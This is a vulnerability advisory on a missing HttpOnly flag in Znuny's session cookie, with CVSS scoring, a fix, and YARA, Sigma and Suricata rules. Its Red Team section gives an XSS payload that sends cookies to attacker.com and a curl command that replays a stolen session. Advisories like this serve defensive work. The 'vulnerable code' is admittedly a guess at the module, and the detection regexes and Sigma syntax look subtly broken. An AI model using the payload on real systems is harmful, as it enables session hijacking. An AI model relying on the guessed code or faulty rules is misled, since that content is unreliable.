CVE-2025-26844

Executive Summary

CVE-2025-26844 affects Znuny, an open-source ticketing system derived from OTRS. The vulnerability is a missing HttpOnly flag on a session cookie, which exposes the cookie to client-side script access. This is a classic session cookie misconfiguration that can lead to session hijacking if an attacker can execute XSS or other client-side attacks. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate (CVSS 5.3). No public exploit code or proof-of-concept is available. The vendor has not released a patch, but a manual configuration workaround exists.

Supply Chain & Package Security

Znuny is distributed as a Perl-based application via tarballs and Docker images. The vulnerability is in the application code, not in a package manager (NPM, PyPI, Go, Ruby). No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The cookie is set over HTTP/HTTPS.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to receive the cookie.
• User Interaction (UI): None (N) – The cookie is set automatically.
• Scope (S): Unchanged (U) – The vulnerable component is the same as the impacted component.
• Confidentiality (C): Low (L) – The cookie value is exposed to client-side scripts.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium (5.3). The missing HttpOnly flag increases the attack surface for session hijacking, but exploitation requires an additional vulnerability (e.g., XSS).

Deep Dive & Mechanics

Znuny uses cookies to maintain user sessions. The SessionID cookie is set without the HttpOnly flag, meaning it can be accessed by JavaScript running in the browser. This is a violation of CWE-1004 (Sensitive Cookie Without 'HttpOnly' Flag). An attacker who can inject malicious scripts (e.g., via stored XSS in ticket comments) can steal the session cookie and impersonate the victim.

The vulnerability is in the session handling code, likely in the Kernel/System/AuthSession.pm or similar module. The cookie is set via CGI or PSGI, and the -httponly parameter is omitted.

Vulnerable vs. Patched Code

Vulnerable Code (Znuny <= 7.1.3):

# In Kernel/System/AuthSession.pm (simplified)
my $cookie = $CGI->cookie(
    -name    => 'SessionID',
    -value   => $session_id,
    -path    => '/',
    -secure  => 0,
    # -httponly => 1  # MISSING
);

Patched Code (Manual Fix):

my $cookie = $CGI->cookie(
    -name    => 'SessionID',
    -value   => $session_id,
    -path    => '/',
    -secure  => 0,
    -httponly => 1  # ADDED
);

Alternatively, in the Apache/Nginx configuration, add:

Header always edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure

Exploitation & Lab Setup

Red Team

1. Prerequisites: A Znuny instance (e.g., Docker: docker run -d -p 80:80 znuny/znuny:7.1.3). A stored XSS vulnerability in the ticket system (e.g., in the subject or body).
2. Step 1: Inject XSS payload into a ticket:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Step 2: When an admin views the ticket, the script executes and sends the SessionID cookie to the attacker.
4. Step 3: Use the stolen cookie to access the admin session:

   curl -b "SessionID=STOLEN_VALUE" http://target/znuny/index.pl
   

Blue Team

1. Detection: Monitor for unusual cookie access patterns or XSS attempts.
2. Mitigation: Apply the manual fix (add -httponly => 1 in the Perl code) or use a reverse proxy to add the flag.
3. Harden: Enable CSP headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /znuny/index.pl with a SessionID cookie that lacks the HttpOnly attribute.
• Logs: Web server logs showing Set-Cookie: SessionID=... without ; HttpOnly.
• Client-side: JavaScript document.cookie containing the SessionID value.

Detection Engineering

YARA Rule

rule CVE_2025_26844_Znuny_Cookie
{
    meta:
        description = "Detects missing HttpOnly flag in Znuny session cookie"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-26844"
    strings:
        $cookie = /Set-Cookie:\s*SessionID=[^;]+(?!;\s*HttpOnly)/i
    condition:
        $cookie
}

Sigma Rule

title: Znuny Missing HttpOnly Cookie Flag
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP responses from Znuny that set a session cookie without the HttpOnly flag.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem|contains: "/znuny/"
        sc-status: 200
        response_headers|contains: "Set-Cookie: SessionID="
        response_headers|contains|not: "HttpOnly"
    condition: selection
falsepositives:
    - Legitimate non-session cookies
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26844 Znuny Missing HttpOnly Cookie"; flow:to_client; content:"Set-Cookie"; nocase; content:"SessionID="; nocase; pcre:"/Set-Cookie:\s*SessionID=[^;]+(?!;\s*HttpOnly)/si"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Add -httponly => 1 to the cookie creation code in Kernel/System/AuthSession.pm (or equivalent).
2. Short-term: Configure the web server to add the flag:
   • Apache: Header always edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
   • Nginx: proxy_cookie_path / "/; HttpOnly; Secure";
3. Long-term: Upgrade to a patched version when available. Monitor Znuny's GitHub for updates.
4. Compensating controls: Implement Content Security Policy (CSP) to block inline scripts and reduce XSS risk.

Valters IT